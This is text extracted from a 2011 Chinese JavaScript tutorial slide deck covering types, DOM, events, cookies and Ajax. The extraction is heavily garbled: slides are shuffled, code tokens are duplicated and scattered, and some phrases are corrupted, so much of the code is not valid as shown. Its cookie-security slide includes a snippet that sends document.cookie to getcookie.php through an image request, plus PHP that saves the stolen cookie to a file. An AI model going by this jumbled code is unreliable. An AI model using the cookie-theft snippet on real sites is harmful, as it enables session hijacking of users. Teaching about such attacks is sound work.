javascript 菜鸟到老鸟

7. 1== ; =='1'; == 8. 1==true; == 9. 1=== ; ==='1'; === 10. a={}; alert(typeof a); ( ={}; );
2011-9-5
初级：关于类型的一些小题目[答案]
1. null == undefined;//true ; 2. null=== ===undefined;//false === ;
2011-9-5
第二部分：中级javascript 第二部分：中级javascript
2011-9-5
中级 • 对象 – location，navigator，screen…… – Cookie • DOM • Events • Ajax
2011-9-5
中级：navigator
• alert(navigator.userAgent)
2011-9-5
中级：Events-阻止默认事件
if ($.IE) { . )
e.returnValue = false; . }else { e.preventDefault(); . (); }
2011-9-5
中级：Events-获取event/this
<button onclick="fn(event)" 点我啊 "fn(event)">点我啊 "fn(event)" 点我啊</button> <script type="text/javascript"> "text/javascript" "text/javascript function fn(e){ ( ){ e = e || window.event; ; alert(e.type); ( ); } </script>
2011-9-5
中级：DOM • DOM – 节点介绍
• 节点 • 类型
– 遍历节点 – 创建节点 – 节点访问和修改
2011-9-5
中级：DOM
2011-9-5
中级：DOM-document
2011-9-5
中级：DOM-节点查找
2011-9-5
中级：DOM-节点遍历
2011-9-5
中级：DOM-节点关系图
3. typeof null;//object ; 4. typeof undefined;//undefined ; 5. var a;alert(a); );//undefined ; ( ); 6. var a; a=1; alert(typeof a); //number ; = ; ( );
不用事件代理
var doc = document; ; for(var i = 1; i <= 5; i++){ ; ; ++){ var dom = doc.getElementById('id' + i); ( ); dom.onclick = function(){
使用事件代理 使用事件代理 } } alert(this.innerHTML); ( );
2011-9-5
中级：document.cookie
• cookie安全
var hackImg = new Image(); ();
hackImg.src = getcookie.php?cookie=”+encodeURI(document.cookie); . + ( . ); <?php $cookie = urldecode($_GET['cookie']); file_put_contents('cookie.txt', $cookie);
2011-9-5
初级：关于类型的一些小题目
1. null == undefined; ; 2. null=== ===undefined; === ;
3. typeof null; ; 4. typeof undefined; ; 5. var a;alert(a); ; ( ); 6. var a; a=1; alert(typeof a); ; = ; ( );
var dom = document.getElementById('parentDOM'); ( ); dom.onclick = function(){ var e = arguments[0] || window.event; [ ] ; var target = e.target || e.srcElement; ;
2011-9-5
中级：DOM-节点属性
<ul id="parentDOM"> "parentDOM" "id1">I No.1</li> <li id="id1" I am No.1 "id1" <li id="id2" I am No.2 "id2">I No.2</li> "id2" </ul>
} }
var xhr = getXHR();
Ajax实例：http://www.w3school.com.cn/example/ajax_examples.asp 司徒正美《高效地获取XMLhttp对象》 http://www.cnblogs.com/rubylouvre/archive/2010/01/06/1640148.html
– "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0"
var isFF = /firefox/.test(navigator.userAgent.toLowerCase()); . ( . . ());
2011-9-5
中级：location
在IE中，event是一个全局变量，即window.event，而在Firefox等， event会默认的作为第一个参数传入fn中
获取event对象：http://www.js8.in/703.html
2011-9-5
中级：Events-事件代理(委托)
<ul id="parentDOM"> "parentDOM" "id1">I <li id="id1" I am "id1" <li id="id2" I am "id2">I "id2" <li id="id3" I am "id3">I "id3" <li id="id4" I am "id4">I "id4" <li id="id5" I am "id5">I "id5" </ul> No.1</li> No.1 No.2</li> No.2 No.3</li> No.3 No.4</li> No.4 No.5</li> No.5
第一部分：初级javascript 第一部分：初级javascript
2011-9-5
初级：变量类型 • 变量类型 – 基础类型
• 六种：undefined、string、number、boolean、object 和function • typeof
– 对象类型
• 以基础类型为基础，从object这一种类型中发展起来 的 • instanceof • function是object
7. 1== ;//true =='1'; == 8. 1==true;//true == 9. 1=== ;//false ==='1'; === 10.a={}; alert(typeof a); ={}; );//object ( );
2011-9-5
初级：常见对象方法 • String • Array • Date • Math • RegExp "string" [1,2,3] [] new Date(12345678901) Math.PI /^\s|\s$/img
var dom = document.getElementById('parentDOM'); ( ); var children = dom.childNodes; ; for(var i = 0,len = children.length; i < len; i++){ , ; ; ++){ var type = "type=" + children[i]. ].nodeType + ";"; [ ]. ; var name = "name=" + children[i]. ].nodeName + ";"; [ ]. ; var id = "id=" + children[i]. + ";"; ].id [ ]. ; var tagName = "tagName=" + children[i]. ].tagName + ";"; [ ]. ;
alert(target.innerHTML); ( );
2011-9-5 }
中级：Ajax
• Ajax – xmlHttpRequest对象 – 发送
• Get • Post
– 接收
• 数据类型
– JSON – JSONP
2011-9-5
中级：Ajax
• Ajax – “Asynchronous JavaScript and XML”（异步的JavaScript 与XML技术），是一种广泛应用在浏览器的网页开发技 术。Ajax是多项技术的综合应用，Ajax概念由 Jesse James Garrett 所提出 – XMLHttpRequest对象
document.cookie = "name=value; expires=date; path=path; domain=domain; . secure"; ;
//例如： 例如： 例如
document.cookie = ‘cookie0=testcookie; expires=Wed, 3 Aug 2011 18:47:11 . UTC; domain=weibo.com; path=/’;
课后题：Keydown、keyup、keypress区别和用法
2011-9-5
中级：Events-事件模型
2011-9-5
中级：Events-事件监听
2011-9-5
中级：Events-阻止来自百度文库泡
if ($.IE) { . )
e.cancelBubble = true; . }else { e.stopPropagation(); . (); }
log(type+name+id+tagName); ( + + + ); }
2011-9-5
中级：Events-类型 • Document – load, unload, resize, scroll • Mouse – mouseover, mouseout, mouseup, mousedown, click • Key – keydown, keyup, keypress • Forms – focus, blur, change, keydown, keyup, keypress
JavaScript入门到高阶 JavaScript入门到高阶
王永清 清-三水清
大纲
初级
中级
高级
其他
•常见对象 •Cookie •基本语法 •DOM •常见对象方法 •Events •Ajax
•作用域 •this关键字 •OOP •跨域 •安全
•调试工具 •JSLint •发展趋势 •学习资料
2011-9-5
2011-9-5
中级：Ajax
• 创建XMLHttpRequest对象
function getXHR(){ (){ if(window.XMLHttpRequest){ . ){
//w3c
return new XMLHttpRequest(); (); }else{
//IE6-
return new ActiveXObject('Microsoft.XMLHTTP'); ( );
2011-9-5
中级：DOM-创建节点
2011-9-5
中级：DOM-节点访问、修改
2011-9-5
中级：DOM-节点访问、修改
2011-9-5
中级：DOM-节点属性
<ul id="parentDOM"> "parentDOM" <li id="id1" I am No.1 "id1">I No.1</li> "id1" <li id="id2" I am No.2 "id2">I No.2</li> "id2" </ul>
• replace()
– 设置当前文档的URL，并在history对象的地址列表中删除这个 URL
• reload()
– 重新载入当前文档(从server服务器端)
2011-9-5
中级：document.cookie
• Javascript对cookie操作是通过document.cookie进行的